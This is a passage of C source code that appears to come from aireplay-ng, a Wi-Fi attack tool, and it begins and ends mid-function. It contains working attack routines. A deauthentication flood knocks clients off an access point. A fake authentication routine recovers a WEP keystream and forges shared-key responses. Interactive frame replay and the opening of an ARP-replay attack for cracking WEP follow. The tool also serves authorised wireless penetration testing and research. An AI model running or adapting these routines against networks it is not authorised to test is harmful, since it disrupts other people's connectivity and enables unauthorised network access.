packet + header_size + t - fragsize,
fragsize);
else
memcpy(frag + header_size + 4,
packet + header_size + t - fragsize,
packet_len - (header_size + t - fragsize));
// Make ToDS frame
if (!ska)
{
frag[1] |= 1;
frag[1] &= 253;
}
// Set fragment bit
if (t < data_size) frag[1] |= 4;
if (t >= data_size) frag[1] &= 251;
// Fragment number
frag[22] = 0;
for (u = t - fragsize; u != 0; u -= fragsize)
{
frag[22] += 1;
}
// frag[23] = 0;
// Calculate packet length
if (fragsize <= packet_len - (header_size + t - fragsize))
pack_size = header_size + 4 + fragsize;
else
pack_size
= header_size + 4 + (packet_len - (header_size + t - fragsize));
// Add ICV
add_icv(frag, pack_size, header_size + 4);
pack_size += 4;
// Encrypt
xor_keystream(frag + header_size + 4, keystream, fragsize + 4);
// Send
send_packet(_wi_out, frag, (size_t) pack_size, kRewriteSequenceNumber);
if (t < data_size) usleep(100);
if (t >= data_size) break;
}
}
static int do_attack_deauth(void)
{
int i, n;
int aacks, sacks, caplen;
struct timeval tv;
fd_set rfds;
if (getnet(_wi_in,
NULL,
0,
1,
opt.f_bssid,
opt.r_bssid,
(uint8_t *) opt.r_essid,
opt.ignore_negative_one,
opt.nodetect)
!= 0)
return (EXIT_FAILURE);
if (memcmp(opt.r_dmac, NULL_MAC, 6) == 0)
printf("NB: this attack is more effective when targeting\n"
"a connected wireless client (-c <client's mac>).\n");
n = 0;
while (1)
{
if (opt.a_count > 0 && ++n > opt.a_count) break;
usleep(180000);
if (memcmp(opt.r_dmac, NULL_MAC, 6) != 0)
{
/* deauthenticate the target */
memcpy(h80211, DEAUTH_REQ, 26);
memcpy(h80211 + 16, opt.r_bssid, 6);
/* add the deauth reason code */
h80211[24] = opt.deauth_rc;
aacks = 0;
sacks = 0;
for (i = 0; i < 64; i++)
{
if (i == 0)
{
PCT;
printf("Sending 64 directed DeAuth (code %i). STMAC:"
" [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
opt.deauth_rc,
opt.r_dmac[0],
opt.r_dmac[1],
opt.r_dmac[2],
opt.r_dmac[3],
opt.r_dmac[4],
opt.r_dmac[5],
sacks,
aacks);
}
memcpy(h80211 + 4, opt.r_dmac, 6);
memcpy(h80211 + 10, opt.r_bssid, 6);
if (send_packet(_wi_out, h80211, 26, kRewriteSequenceNumber)
< 0)
return (EXIT_FAILURE);
usleep(2000);
memcpy(h80211 + 4, opt.r_bssid, 6);
memcpy(h80211 + 10, opt.r_dmac, 6);
if (send_packet(_wi_out, h80211, 26, kRewriteSequenceNumber)
< 0)
return (EXIT_FAILURE);
usleep(2000);
while (1)
{
FD_ZERO(&rfds);
FD_SET(dev.fd_in, &rfds);
tv.tv_sec = 0;
tv.tv_usec = 1000;
if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
{
if (errno == EINTR) continue;
perror("select failed");
return (EXIT_FAILURE);
}
if (!FD_ISSET(dev.fd_in, &rfds)) break;
caplen = read_packet(_wi_in, tmpbuf, sizeof(tmpbuf), NULL);
if (caplen <= 0) break;
if (caplen != 10) continue;
if (tmpbuf[0] == 0xD4)
{
if (memcmp(tmpbuf + 4, opt.r_dmac, 6) == 0)
{
aacks++;
}
if (memcmp(tmpbuf + 4, opt.r_bssid, 6) == 0)
{
sacks++;
}
PCT;
printf(
"Sending 64 directed DeAuth (code %i). STMAC:"
" [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
opt.deauth_rc,
opt.r_dmac[0],
opt.r_dmac[1],
opt.r_dmac[2],
opt.r_dmac[3],
opt.r_dmac[4],
opt.r_dmac[5],
sacks,
aacks);
}
}
}
printf("\n");
}
else
{
/* deauthenticate all stations */
PCT;
printf("Sending DeAuth (code %i) to broadcast -- BSSID:"
" [%02X:%02X:%02X:%02X:%02X:%02X]\n",
opt.deauth_rc,
opt.r_bssid[0],
opt.r_bssid[1],
opt.r_bssid[2],
opt.r_bssid[3],
opt.r_bssid[4],
opt.r_bssid[5]);
memcpy(h80211, DEAUTH_REQ, 26);
h80211[24] = opt.deauth_rc;
memcpy(h80211 + 4, BROADCAST, 6);
memcpy(h80211 + 10, opt.r_bssid, 6);
memcpy(h80211 + 16, opt.r_bssid, 6);
for (i = 0; i < 128; i++)
{
if (send_packet(_wi_out, h80211, 26, kRewriteSequenceNumber)
< 0)
return (1);
usleep(2000);
}
}
}
return (EXIT_SUCCESS);
}
static int do_attack_fake_auth(void)
{
time_t tt, tr;
struct timeval tv, tv2 = {0}, tv3;
fd_set rfds;
int i, n, state, caplen, z;
int mi_b, mi_s, mi_d;
int x_send;
int kas;
int tries;
int retry = 0;
int should_abort;
int gotack = 0;
unsigned char capa[2];
int deauth_wait = 3;
int ska = 0;
int keystreamlen = 0;
int challengelen = 0;
int weight[16];
int notice = 0;
int packets = 0;
int aid = 0;
unsigned char ackbuf[14];
unsigned char ctsbuf[10];
unsigned char iv[4];
unsigned char challenge[2048];
unsigned char keystream[2048];
memset(iv, 0, sizeof(iv));
if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
{
printf("Please specify a source MAC (-h).\n");
return (EXIT_FAILURE);
}
if (getnet(_wi_in,
capa,
0,
1,
opt.f_bssid,
opt.r_bssid,
(uint8_t *) opt.r_essid,
opt.ignore_negative_one,
opt.nodetect)
!= 0)
return (EXIT_FAILURE);
if (verifyssid((const unsigned char *) opt.r_essid) == 0)
{
printf("Please specify an ESSID (-e).\n");
return (EXIT_FAILURE);
}
memcpy(ackbuf, "\xD4\x00\x00\x00", 4);
memcpy(ackbuf + 4, opt.r_bssid, 6);
memset(ackbuf + 10, 0, 4);
memcpy(ctsbuf, "\xC4\x00\x94\x02", 4);
memcpy(ctsbuf + 4, opt.r_bssid, 6);
tries = 0;
should_abort = 0;
state = 0;
x_send = opt.npackets;
if (opt.npackets == 0) x_send = 4;
if (opt.prga != NULL) ska = 1;
tt = time(NULL);
tr = time(NULL);
while (1)
{
switch (state)
{
case 0:
if (opt.f_retry > 0)
{
if (retry == opt.f_retry)
{
return (EXIT_FAILURE);
}
++retry;
}
if (ska && keystreamlen == 0)
{
opt.fast = 1; // don't ask for approval
memcpy(opt.f_bssid,
opt.r_bssid,
6); // make the filter bssid the same, that is used
// for auth'ing
if (opt.prga == NULL)
{
while (keystreamlen < 16)
{
capture_ask_packet(&caplen,
1); // wait for data packet
z = ((h80211[1] & 3) != 3) ? 24 : 30;
if ((h80211[0] & 0x80) == 0x80) /* QoS */
z += 2;
memcpy(iv, h80211 + z, 4); // copy IV+IDX
i = known_clear(keystream,
&keystreamlen,
weight,
h80211,
caplen - z - 4
- 4); // recover first bytes
if (i > 1)
{
keystreamlen = 0;
}
for (i = 0; i < keystreamlen; i++)
keystream[i] ^= h80211[i + z + 4];
}
}
else
{
keystreamlen = opt.prgalen - 4;
memcpy(iv, opt.prga, 4);
memcpy(keystream, opt.prga + 4, keystreamlen);
}
}
state = 1;
tt = time(NULL);
/* attempt to authenticate */
memcpy(h80211, AUTH_REQ, 30);
memcpy(h80211 + 4, opt.r_bssid, 6); //-V525
memcpy(h80211 + 10, opt.r_smac, 6); //-V525
memcpy(h80211 + 16, opt.r_bssid, 6); //-V525
if (ska) h80211[24] = 0x01;
printf("\n");
PCT;
printf("Sending Authentication Request");
if (!ska)
printf(" (Open System)");
else
printf(" (Shared Key)");
fflush(stdout);
gotack = 0;
for (i = 0; i < x_send; i++)
{
if (send_packet(_wi_out, h80211, 30, kRewriteSequenceNumber)
< 0)
return (1);
usleep(10);
if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
< 0)
return (1);
usleep(10);
if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
< 0)
return (1);
}
break;
case 1:
case 3:
/* waiting for an authentication response */
if (time(NULL) - tt >= 2)
{
if (opt.npackets > 0)
{
tries++;
if (tries > 15)
{
should_abort = 1;
}
}
else
{
if (x_send < 256)
{
x_send *= 2;
}
else
{
should_abort = 1;
}
}
if (should_abort)
{
printf(
"\nAttack was unsuccessful. Possible reasons:\n\n"
" * Perhaps MAC address filtering is enabled.\n"
" * Check that the BSSID (-a option) is "
"correct.\n"
" * Try to change the number of packets (-o "
"option).\n"
" * The driver/card doesn't support injection.\n"
" * This attack sometimes fails against some "
"APs.\n"
" * The card is not on the same channel as the "
"AP.\n"
" * You're too far from the AP. Get closer, or "
"lower\n"
" the transmit rate.\n\n");
return (EXIT_FAILURE);
}
state = 0;
challengelen = 0;
printf("\n");
}
break;
case 2:
state = 3;
tt = time(NULL);
/* attempt to authenticate using ska */
memcpy(h80211, AUTH_REQ, 30);
memcpy(h80211 + 4, opt.r_bssid, 6); //-V525
memcpy(h80211 + 10, opt.r_smac, 6); //-V525
memcpy(h80211 + 16, opt.r_bssid, 6); //-V525
h80211[1] |= 0x40; // set wep bit, as this frame is encrypted
memcpy(h80211 + 24, iv, 4);
memcpy(h80211 + 28, challenge, challengelen);
h80211[28] = 0x01; // its always ska in state==2
h80211[30] = 0x03; // auth sequence number 3
fflush(stdout);
if (keystreamlen < challengelen + 4 && notice == 0)
{
notice = 1;
if (opt.prga != NULL)
{
PCT;
printf("Specified xor file (-y) is too short, you need "
"at least %d keystreambytes.\n",
challengelen + 4);
}
else
{
PCT;
printf("You should specify a xor file (-y) with at "
"least %d keystreambytes\n",
challengelen + 4);
}
PCT;
printf("Trying fragmented shared key fake auth.\n");
}
PCT;
printf("Sending encrypted challenge.");
fflush(stdout);
gotack = 0;
gettimeofday(&tv2, NULL);
for (i = 0; i < x_send; i++)
{
if (keystreamlen < challengelen + 4)
{
packets = (challengelen) / (keystreamlen - 4);
if ((challengelen) % (keystreamlen - 4) != 0) packets++;
memcpy(h80211 + 24, challenge, challengelen);
h80211[24] = 0x01;
h80211[26] = 0x03;
send_fragments(h80211,
challengelen + 24,
iv,
keystream,
keystreamlen - 4,
1);
}
else
{
add_icv(h80211, challengelen + 28, 28);
xor_keystream(h80211 + 28, keystream, challengelen + 4);
send_packet(_wi_out,
h80211,
24 + 4 + (size_t) challengelen + 4,
kRewriteSequenceNumber);
}
if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
< 0)
return (EXIT_FAILURE);
usleep(10);
if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
< 0)
return (EXIT_FAILURE);
}
break;
case 4:
tries = 0;
state = 5;
if (opt.npackets == -1) x_send *= 2;
tt = time(NULL);
/* attempt to associate */
memcpy(h80211, ASSOC_REQ, 28);
memcpy(h80211 + 4, opt.r_bssid, 6); //-V525
memcpy(h80211 + 10, opt.r_smac, 6); //-V525
memcpy(h80211 + 16, opt.r_bssid, 6); //-V525
n = (int) strlen(opt.r_essid);
h80211[28] = 0x00;
h80211[29] = (uint8_t) n;
memcpy(h80211 + 30, opt.r_essid, n);
memcpy(h80211 + 30 + n, RATES, 16);
memcpy(h80211 + 24, capa, 2);
PCT;
printf("Sending Association Request");
fflush(stdout);
gotack = 0;
for (i = 0; i < x_send; i++)
{
if (send_packet(_wi_out,
h80211,
46 + (size_t) n,
kRewriteSequenceNumber)
< 0)
return (EXIT_FAILURE);
usleep(10);
if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
< 0)
return (EXIT_FAILURE);
usleep(10);
if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
< 0)
return (EXIT_FAILURE);
}
break;
case 5:
/* waiting for an association response */
if (time(NULL) - tt >= 5)
{
if (x_send < 256 && (opt.npackets == -1)) x_send *= 4;
state = 0;
challengelen = 0;
printf("\n");
}
break;
case 6:
if (opt.a_delay == 0 && opt.reassoc == 0)
{
printf("\n");
return (EXIT_SUCCESS);
}
if (opt.a_delay == 0 && opt.reassoc == 1)
{
if (opt.npackets == -1) x_send = 4;
state = 7;
challengelen = 0;
break;
}
if (time(NULL) - tt >= opt.a_delay)
{
if (opt.npackets == -1) x_send = 4;
if (opt.reassoc == 1)
state = 7;
else
state = 0;
challengelen = 0;
break;
}
if (time(NULL) - tr >= opt.delay)
{
tr = time(NULL);
printf("\n");
PCT;
printf("Sending keep-alive packet");
fflush(stdout);
gotack = 0;
memcpy(h80211, NULL_DATA, 24);
memcpy(h80211 + 4, opt.r_bssid, 6); //-V525
memcpy(h80211 + 10, opt.r_smac, 6); //-V525
memcpy(h80211 + 16, opt.r_bssid, 6); //-V525
if (opt.npackets > 0)
kas = opt.npackets;
else
kas = 32;
for (i = 0; i < kas; i++)
if (send_packet(
_wi_out, h80211, 24, kRewriteSequenceNumber)
< 0)
return (EXIT_FAILURE);
}
break;
case 7:
/* sending reassociation request */
tries = 0;
state = 8;
if (opt.npackets == -1) x_send *= 2;
tt = time(NULL);
/* attempt to reassociate */
memcpy(h80211, REASSOC_REQ, 34);
memcpy(h80211 + 4, opt.r_bssid, 6); //-V525
memcpy(h80211 + 10, opt.r_smac, 6); //-V525
memcpy(h80211 + 16, opt.r_bssid, 6); //-V525
n = (int) strlen(opt.r_essid);
h80211[34] = 0x00;
h80211[35] = (uint8_t) n;
memcpy(h80211 + 36, opt.r_essid, n);
memcpy(h80211 + 36 + n, RATES, 16);
memcpy(h80211 + 30, capa, 2);
PCT;
printf("Sending Reassociation Request");
fflush(stdout);
gotack = 0;
for (i = 0; i < x_send; i++)
{
if (send_packet(_wi_out,
h80211,
52 + (size_t) n,
kRewriteSequenceNumber)
< 0)
return (EXIT_FAILURE);
usleep(10);
if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
< 0)
return (EXIT_FAILURE);
usleep(10);
if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
< 0)
return (EXIT_FAILURE);
}
break;
case 8:
/* waiting for a reassociation response */
if (time(NULL) - tt >= 5)
{
if (x_send < 256 && (opt.npackets == -1)) x_send *= 4;
state = 7;
challengelen = 0;
printf("\n");
}
break;
default:
break;
}
/* read one frame */
FD_ZERO(&rfds);
FD_SET(dev.fd_in, &rfds);
tv.tv_sec = 1;
tv.tv_usec = 0;
if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
{
if (errno == EINTR) continue;
perror("select failed");
return (EXIT_FAILURE);
}
if (!FD_ISSET(dev.fd_in, &rfds)) continue;
caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
if (caplen < 0) return (EXIT_FAILURE);
if (caplen == 0) continue;
if (caplen == 10 && h80211[0] == 0xD4)
{
if (memcmp(h80211 + 4, opt.r_smac, 6) == 0)
{
if (gotack < INT_MAX - 1) gotack++;
if (gotack == 1)
{
printf(" [ACK]");
fflush(stdout);
}
}
}
gettimeofday(&tv3, NULL);
// wait 100ms for acks
if ((((tv3.tv_sec * 1000000 - tv2.tv_sec * 1000000)
+ (tv3.tv_usec - tv2.tv_usec))
> (100 * 1000))
&& (gotack > 0) && (gotack < packets) && (state == 3))
{
PCT;
printf("Not enough acks, repeating...\n");
state = 2;
continue;
}
if (caplen < 24) continue;
switch (h80211[1] & 3)
{
case 0:
mi_b = 16;
mi_s = 10;
mi_d = 4;
break;
case 1:
mi_b = 4;
mi_s = 10;
mi_d = 16;
break;
case 2:
mi_b = 10;
mi_s = 16;
mi_d = 4;
break;
default:
mi_b = 10;
mi_d = 16;
mi_s = 24;
break;
}
/* check if the dest. MAC is ours and source == AP */
if (memcmp(h80211 + mi_d, opt.r_smac, 6) == 0
&& memcmp(h80211 + mi_b, opt.r_bssid, 6) == 0
&& memcmp(h80211 + mi_s, opt.r_bssid, 6) == 0)
{
/* check if we got an deauthentication packet */
if (h80211[0] == 0xC0) // removed && state == 4
{
printf("\n");
PCT;
printf("Got a deauthentication packet! (Waiting %d seconds)\n",
deauth_wait);
if (opt.npackets == -1) x_send = 4;
state = 0;
challengelen = 0;
read_sleep(
dev.fd_in, deauth_wait * 1000000UL, my_read_sleep_cb);
deauth_wait += 2;
continue;
}
/* check if we got an disassociation packet */
if (h80211[0] == 0xA0 && state == 6)
{
printf("\n");
PCT;
printf("Got a disassociation packet! (Waiting %d seconds)\n",
deauth_wait);
if (opt.npackets == -1) x_send = 4;
state = 0;
challengelen = 0;
read_sleep(dev.fd_in, deauth_wait, my_read_sleep_cb);
deauth_wait += 2;
continue;
}
/* check if we got an authentication response */
if (h80211[0] == 0xB0 && (state == 1 || state == 3))
{
if (ska)
{
if ((state == 1 && h80211[26] != 0x02)
|| (state == 3 && h80211[26] != 0x04))
continue;
}
printf("\n");
PCT;
state = 0;
if (caplen < 30)
{
printf("Error: packet length < 30 bytes\n");
read_sleep(dev.fd_in, 3 * 1000000, my_read_sleep_cb);
challengelen = 0;
continue;
}
if ((h80211[24] != 0 || h80211[25] != 0) && ska == 0)
{
ska = 1;
printf("Switching to shared key authentication\n");
read_sleep(dev.fd_in,
2 * 1000000,
my_read_sleep_cb); // read sleep 2s
challengelen = 0;
continue;
}
n = h80211[28] + (h80211[29] << 8);
if (n != 0)
{
switch (n)
{
case 1:
printf("AP rejects the source MAC address "
"(%02X:%02X:%02X:%02X:%02X:%02X) ?\n",
opt.r_smac[0],
opt.r_smac[1],
opt.r_smac[2],
opt.r_smac[3],
opt.r_smac[4],
opt.r_smac[5]);
break;
case 10:
printf("AP rejects our capabilities\n");
break;
case 13:
case 15:
ska = 1;
if (h80211[26] == 0x02)
printf(
"Switching to shared key authentication\n");
if (h80211[26] == 0x04)
{
printf("Challenge failure\n");
challengelen = 0;
}
read_sleep(dev.fd_in,
2 * 1000000,
my_read_sleep_cb); // read sleep 2s
challengelen = 0; //-V519
continue;
default:
break;
}
printf("Authentication failed (code %d)\n", n);
if (opt.npackets == -1) x_send = 4;
read_sleep(dev.fd_in, 3 * 1000000, my_read_sleep_cb);
challengelen = 0;
continue;
}
if (ska && h80211[26] == 0x02 && challengelen == 0)
{
memcpy(challenge, h80211 + 24, caplen - 24);
challengelen = caplen - 24;
}
if (ska)
{
if (h80211[26] == 0x02)
{
state = 2; /* grab challenge */
printf("Authentication 1/2 successful\n");
}
if (h80211[26] == 0x04)
{
state = 4;
printf("Authentication 2/2 successful\n");
}
}
else
{
printf("Authentication successful\n");
state = 4; /* auth. done */
}
}
/* check if we got an association response */
if (h80211[0] == 0x10 && state == 5)
{
printf("\n");
state = 0;
PCT;
if (caplen < 30)
{
printf("Error: packet length < 30 bytes\n");
sleep(3);
challengelen = 0;
continue;
}
n = h80211[26] + (h80211[27] << 8);
if (n != 0)
{
switch (n)
{
case 1:
printf("Denied (code 1), is WPA in use ?\n");
break;
case 10:
printf("Denied (code 10), open (no WEP) ?\n");
break;
case 12:
printf("Denied (code 12), wrong ESSID or WPA ?\n");
break;
default:
printf("Association denied (code %d)\n", n);
break;
}
sleep(3);
challengelen = 0;
continue;
}
aid = (((h80211[29] << 8) != 0 || (h80211[28])) & 0x3FFF);
printf("Association successful :-) (AID: %d)\n", aid);
deauth_wait = 3;
fflush(stdout);
tt = time(NULL);
tr = time(NULL);
state = 6; /* assoc. done */
}
/* check if we got an reassociation response */
if (h80211[0] == 0x30 && state == 8)
{
printf("\n");
state = 7;
PCT;
if (caplen < 30)
{
printf("Error: packet length < 30 bytes\n");
sleep(3);
challengelen = 0;
continue;
}
n = h80211[26] + (h80211[27] << 8);
if (n != 0)
{
switch (n)
{
case 1:
printf("Denied (code 1), is WPA in use ?\n");
break;
case 10:
printf("Denied (code 10), open (no WEP) ?\n");
break;
case 12:
printf("Denied (code 12), wrong ESSID or WPA ?\n");
break;
default:
printf("Reassociation denied (code %d)\n", n);
break;
}
sleep(3);
challengelen = 0;
continue;
}
aid = (((h80211[29] << 8) != 0 || (h80211[28])) & 0x3FFF);
printf("Reassociation successful :-) (AID: %d)\n", aid);
deauth_wait = 3;
fflush(stdout);
tt = time(NULL);
tr = time(NULL);
state = 6; /* reassoc. done */
}
}
}
return (EXIT_SUCCESS);
}
static int do_attack_interactive(void)
{
int caplen, n;
int mi_b, mi_s, mi_d;
struct timeval tv;
struct timeval tv2;
float f, ticks[3];
unsigned char bssid[6];
unsigned char smac[6];
unsigned char dmac[6];
read_packets:
if (capture_ask_packet(&caplen, 0) != 0) return (EXIT_FAILURE);
/* rewrite the frame control & MAC addresses */
switch (h80211[1] & 3)
{
case 0:
mi_b = 16;
mi_s = 10;
mi_d = 4;
break;
case 1:
mi_b = 4;
mi_s = 10;
mi_d = 16;
break;
case 2:
mi_b = 10;
mi_s = 16;
mi_d = 4;
break;
default:
mi_b = 10;
mi_d = 16;
mi_s = 24;
break;
}
if (memcmp(opt.r_bssid, NULL_MAC, 6) == 0)
memcpy(bssid, h80211 + mi_b, 6);
else
memcpy(bssid, opt.r_bssid, 6);
if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
memcpy(smac, h80211 + mi_s, 6);
else
memcpy(smac, opt.r_smac, 6);
if (memcmp(opt.r_dmac, NULL_MAC, 6) == 0)
memcpy(dmac, h80211 + mi_d, 6);
else
memcpy(dmac, opt.r_dmac, 6);
if (opt.r_fctrl != -1U)
{
h80211[0] = opt.r_fctrl >> 8;
h80211[1] = opt.r_fctrl & 0xFF;
switch (h80211[1] & 3)
{
case 0:
mi_b = 16;
mi_s = 10;
mi_d = 4;
break;
case 1:
mi_b = 4;
mi_s = 10;
mi_d = 16;
break;
case 2:
mi_b = 10;
mi_s = 16;
mi_d = 4;
break;
default:
mi_b = 10;
mi_d = 16;
mi_s = 24;
break;
}
}
memcpy(h80211 + mi_b, bssid, 6);
memcpy(h80211 + mi_s, smac, 6);
memcpy(h80211 + mi_d, dmac, 6);
/* loop resending the packet */
/* Check if airodump-ng is running. If not, print that message */
printf("You should also start airodump-ng to capture replies.\n\n");
ALLEGE(signal(SIGINT, sighandler) != SIG_ERR);
ctrl_c = 0;
memset(ticks, 0, sizeof(ticks));
nb_pkt_sent = 0;
while (1)
{
if (ctrl_c) goto read_packets;
/* wait for the next timer interrupt, or sleep */
if (dev.fd_rtc >= 0)
{
IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));
ticks[0]++;
ticks[1]++;
ticks[2]++;
}
else
{
/* we can't trust usleep, since it depends on the HZ */
gettimeofday(&tv, NULL);
usleep(1000000 / RTC_RESOLUTION);
gettimeofday(&tv2, NULL);
f = 1000000.f * (float) (tv2.tv_sec - tv.tv_sec)
+ (float) (tv2.tv_usec - tv.tv_usec);
ticks[0] += f / (1000000.f / (float) RTC_RESOLUTION);
ticks[1] += f / (1000000.f / (float) RTC_RESOLUTION);
ticks[2] += f / (1000000.f / (float) RTC_RESOLUTION);
}
/* update the status line */
if (ticks[1] > (float) RTC_RESOLUTION / 10.f)
{
ticks[1] = 0;
printf("\rSent %lu packets...(%d pps)",
nb_pkt_sent,
(int) ((double) nb_pkt_sent
/ ((double) ticks[0] / (double) RTC_RESOLUTION)));
fflush(stdout);
erase_line(0);
printf("\r");
}
if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION < 1) continue;
/* threshold reached */
ticks[2] = 0;
if (nb_pkt_sent == 0) ticks[0] = 0;
if (send_packet(
_wi_out, h80211, (size_t) caplen, kRewriteSequenceNumber)
< 0)
return (EXIT_FAILURE);
if (((double) ticks[0] / (double) RTC_RESOLUTION) * (double) opt.r_nbpps
> (double) nb_pkt_sent)
{
if (send_packet(
_wi_out, h80211, (size_t) caplen, kRewriteSequenceNumber)
< 0)
return (EXIT_FAILURE);
}
}
return (EXIT_SUCCESS);
}
static int do_attack_arp_resend(void)
{
int nb_bad_pkt;
int arp_off1, arp_off2;
int i, n, caplen, nb_arp, z;
long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
time_t tc;
float f, ticks[3];
struct timeval tv;
struct timeval tv2;
struct tm * lt;
FILE * f_cap_out;
struct pcap_file_header pfh_out;
struct pcap_pkthdr pkh;
struct ARP_req * arp;
/* capture only WEP data to broadcast address */
opt.f_type = 2;
opt.f_subtype = 0;
opt.f_iswep = 1;
memset(opt.f_dmac, 0xFF, 6);
if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
{
printf("Please specify a source MAC (-h).\n");
return (EXIT_FAILURE);
}
if (getnet(_wi_in,
NULL,
1,
1,
opt.f_bssid,
opt.r_bssid,
(uint8_t *) opt.r_essid,
opt.ignore_negative_one,
opt.nodetect)
!= 0)
return (EXIT_FAILURE);
/* create and write the output pcap header */
gettimeofday(&tv, NULL);
pfh_out.magic = TCPDUMP_MAGIC;
pfh_out.version_major = PCAP_VERSION_MAJOR;
pfh_out.version_minor = PCAP_VERSION_MINOR;
pfh_out.thiszone = 0;
pfh_out.sigfigs = 0;
pfh_out.snaplen = 65535;
pfh_out.linktype = LINKTYPE_IEEE802_11;
lt = localtime((const time_t *) &tv.tv_sec);
REQUIRE(lt != NULL);
memset(strbuf, 0, sizeof(strbuf));
snprintf(strbuf,
sizeof(strbuf) - 1,
"replay_arp-%02d%02d-%02d%02d%02d.cap",
lt->tm_mon + 1,
lt->tm_mday,
lt->tm_hour,
lt->tm_min,
lt->tm_sec);
printf("Saving ARP requests in %s\n", strbuf);
if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
{
perror("fopen failed");
return (EXIT_FAILURE);
}
n = sizeof(struct pcap_file_header);
if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
{
perror("fwrite failed\n");
fclose(f_cap_out);
return (EXIT_FAILURE);
}
fflush(f_cap_out);
printf("You should also start airodump-ng to capture replies.\n");
if (opt.port_in <= 0)
{
/* avoid blocking on reading the socket */
if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
{
perror("fcntl(O_NONBLOCK) failed");
fclose(f_cap_out);
return (EXIT_FAILURE);
}
}
if (opt.ringbuffer)
{
arp = (struct ARP_req *) malloc(opt.ringbuffer
* sizeof(struct ARP_req));
ALLEGE(arp != NULL);
}
else
{
arp = (struct ARP_req *) malloc(sizeof(struct ARP_req) * MAX_ARP_SLOTS);
ALLEGE(arp != NULL);
}
memset(ticks, 0, sizeof(ticks));
tc = time(NULL) - 11;
nb_pkt_read = 0;
nb_bad_pkt = 0;
nb_ack_pkt = 0;
nb_arp = 0;
nb_arp_tot = 0;
arp_off1 = 0;
arp_off2 = 0;
while (1)
{
/* sleep until the next clock tick */
if (dev.fd_rtc >= 0)
{
IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));
ticks[0]++;
ticks[1]++;
ticks[2]++;
}
else
{
gettimeofday(&tv, NULL);
usleep(1000000 / RTC_RESOLUTION);
gettimeofday(&tv2, NULL);
f = 1000000.f * (float) (tv2.tv_sec - tv.tv_sec)
+ (float) (tv2.tv_usec - tv.tv_usec);
ticks[0] += f / (1000000.f / RTC_RESOLUTION);
ticks[1] += f / (1000000.f / RTC_RESOLUTION);
ticks[2] += f / (1000000.f / RTC_RESOLUTION);
}
if (ticks[1] > (RTC_RESOLUTION / 10.f))
{
ticks[1] = 0;
printf("\rRead %ld packets (got %ld ARP requests and %ld ACKs), "
"sent %lu packets...(%d pps)\r",
nb_pkt_read,
nb_arp_tot,
nb_ack_pkt,
nb_pkt_sent,
(int) ((double) nb_pkt_sent
/ ((double) ticks[0] / (double) RTC_RESOLUTION)));
fflush(stdout);
}
if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
{
/* threshold reach, send one frame */
ticks[2] = 0;
if (nb_arp > 0)
{
if (nb_pkt_sent == 0) ticks[0] = 0;
if (send_packet(_wi_out,
arp[arp_off1].buf,
(size_t) arp[arp_off1].len,
kRewriteSequenceNumber)
< 0)
{
free(arp);
fclose(f_cap_out);
return (EXIT_FAILURE);
}
if (((double) ticks[0] / (double) RTC_RESOLUTION)
* (double) opt.r_nbpps
> (double) nb_pkt_sent)
{
if (send_packet(_wi_out,
arp[arp_off1].buf,
(size_t) arp[arp_off1].len,
kRewriteSequenceNumber)
< 0)
{
free(arp);
fclose(f_cap_out);
return (EXIT_FAILURE);
}
}
if (++arp_off1 >= nb_arp) arp_off1 = 0;
}
}
/* read a frame, and check if it's an ARP request */
if (opt.s_file == NULL)
{
gettimeofday(&tv, NULL);
caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
if (caplen < 0)
{
free(arp);
fclose(f_cap_out);
return (EXIT_FAILURE);
}
if (caplen == 0) continue;
}
else
{
n = sizeof(pkh);
if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
{
opt.s_file = NULL;
continue;
}
if (dev.pfh_in.magic == TCPDUMP_CIGAM)
{
SWAP32(pkh.caplen);
SWAP32(pkh.len);
}
tv.tv_sec = pkh.tv_sec;
tv.tv_usec = pkh.tv_usec;
n = caplen = pkh.caplen;
if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
{
printf("\r");
erase_line(0);
printf("Invalid packet length %d.\n", n);
opt.s_file = NULL;
continue;
}
if (fread(h80211, n, 1, dev.f_cap_in) != 1)
{
opt.s_file = NULL;
continue;
}
if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
{
/* remove the prism header */
if (h80211[7] == 0x40)
n = 64;
else
n = *(int *) (h80211 + 4); //-V1032
if (n < 8 || n >= (int) caplen) continue;
memcpy(tmpbuf, h80211, caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, caplen);
}
if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
{
/* remove the radiotap header */
n = *(unsigned short *) (h80211 + 2);
if (n <= 0 || n >= (int) caplen) continue;
memcpy(tmpbuf, h80211, caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, caplen);
}
if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
{
/* remove the PPI header */
n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
if (n <= 0 || n >= caplen) continue;
/* for a while Kismet logged broken PPI headers */
if (n == 24
&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
n = 32;
